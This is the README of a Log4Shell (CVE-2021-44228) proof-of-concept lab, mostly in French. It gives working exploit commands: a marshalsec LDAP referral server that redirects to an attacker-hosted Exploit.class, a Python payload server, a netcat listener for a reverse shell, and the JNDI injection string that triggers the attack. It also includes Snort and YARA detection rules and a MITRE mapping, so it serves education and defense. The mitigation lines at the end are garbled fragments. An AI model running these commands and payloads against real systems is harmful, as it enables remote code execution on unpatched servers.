
**Log4Shell PoC is a high-fidelity exploitation environment designed to replicate the CVE-2021-44228 vulnerability.** It provides a containerized sandbox to demonstrate JNDI injection, LDAP/RMI referral redirection, and remote code execution (RCE) via the Log4j 2 library.
██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██╗ ██╗███████╗██╗ ██╗
██║ ██╔═══██╗██╔════╝ ██║ ██║██╔════╝██║ ██║██╔════╝██║ ██║
██║ ██║ ██║██║ ███╗███████║███████╗███████║█████╗ ██║ ██║
██║ ██║ ██║██║ ██║╚════██║╚════██║██╔══██║██╔══╝ ██║ ██║
███████╗╚██████╔╝╚██████╔╝ ██║███████║██║ ██║███████╗███████╗███████╗
╚══════╝ ╚═════╝ ╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
██████╗ ██████╗ ██████╗
██╔══██╗██╔═══██╗██╔════╝
██████╔╝██║ ██║██║
██╔═══╝ ██║ ██║██║
██║ ╚██████╔╝╚██████╔╝
╚═╝ ╚═════╝ ╚═════╝
⚡ LOG4SHELL (CVE-2021-44228) LABORATOIRE PoC
[ PREUVE DE CONCEPT & EXPLOITATION JNDI ]
Log4Shell PoC est un environnement d'exploitation haute fidélité conçu pour reproduire la vulnérabilité CVE-2021-44228. Il fournit un bac à sable conteneurisé pour démontrer l'injection JNDI, la redirection de références LDAP/RMI et l'exécution de code à distance (RCE) via la bibliothèque Log4j 2.
À des fins éducatives et de tests de sécurité autorisés uniquement.
L'utilisation de cette preuve de concept pour attaquer des cibles sans consentement mutuel préalable est illégale. Il est de la responsabilité de l'utilisateur final de se conformer à toutes les lois locales, étatiques et fédérales applicables. Les auteurs déclinent toute responsabilité et ne sont pas responsables des pertes de données, dommages système, conséquences juridiques ou mauvais usage causés par ce programme. En utilisant ce logiciel, vous acceptez de respecter les limites légales de votre juridiction.
Le côté attaquant se compose de trois canaux distincts pour faciliter le PoC.
Exploit.class pour que la victime le télécharge et l'exécute.Un environnement OpenJDK 8 dockerisé exécutant une implémentation Log4j vulnérable.
Onglet 1 : Serveur de référence LDAP
docker run --rm -it -p 1389:1389 maven:3.8.6-openjdk-8 /bin/bash -c "
git clone [https://github.com/mbechler/marshalsec.git](https://github.com/mbechler/marshalsec.git) && \
cd marshalsec && \
mvn clean package -DskipTests && \
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer '[http://172.17.0.1:8888/#Exploit](http://172.17.0.1:8888/#Exploit)' 1389"
Onglet 2 : Livraison de la charge utile HTTP
# Démarrer le serveur Python dans le répertoire contenant Exploit.class
python3 -m http.server --bind 0.0.0.0 8888
Onglet 3 : Écouteur Netcat
nc -lvnp 9001
Onglet 4 : Lancer le conteneur vulnérable
docker run --rm -it -v $(pwd):/app -w /app openjdk:8u121-jdk-alpine /bin/sh
À l'intérieur du conteneur : Déclencher le PoC
java -Dlog4j2.formatMsgNoLookups=false \
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true \
-cp ".:log4j-api-2.14.1.jar:log4j-core-2.14.1.jar" \
VulnerableLog '${jndi:ldap://172.17.0.1:1389/Exploit}'
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET EXPLOIT Possible Log4j RCE Attempt (jndi)"; content:"jndi|3a|"; nocase; sid:2034647; rev:1;)
rule Log4Shell_PoC_JNDI {
meta:
description = "Detects JNDI lookup strings in logs used in PoC"
author = "Apex Pro Framework"
strings:
$jndi = / \$\{jndi:(ldap|rmi|dns|nis|iiop|corba|lds):/ i
$obfuscated = /\$\{\$\{[^}]+\}ndi:/ i
condition:
any of them
}
| Phase | Technique | Alerte déclenchée ? | MITRE ATT&CK |
|---|---|---|---|
| Accès initial | Exploitation d'application exposée | [ ] | T1190 |
| Exécution | Interpréteur de commandes et de scripts | [ ] | T1059 |
| Commande et contrôle | Protocole de couche application (LDAP) | [ ] | T1071.003 |
| Exfiltration | Protocole non couche application | [ ] | T1048 |
-Dlog4j2.formatMsgNoLookups=true pour désactiver les lookups.JndiLookup.class du JAR log4j-core.172.17.0.0/16).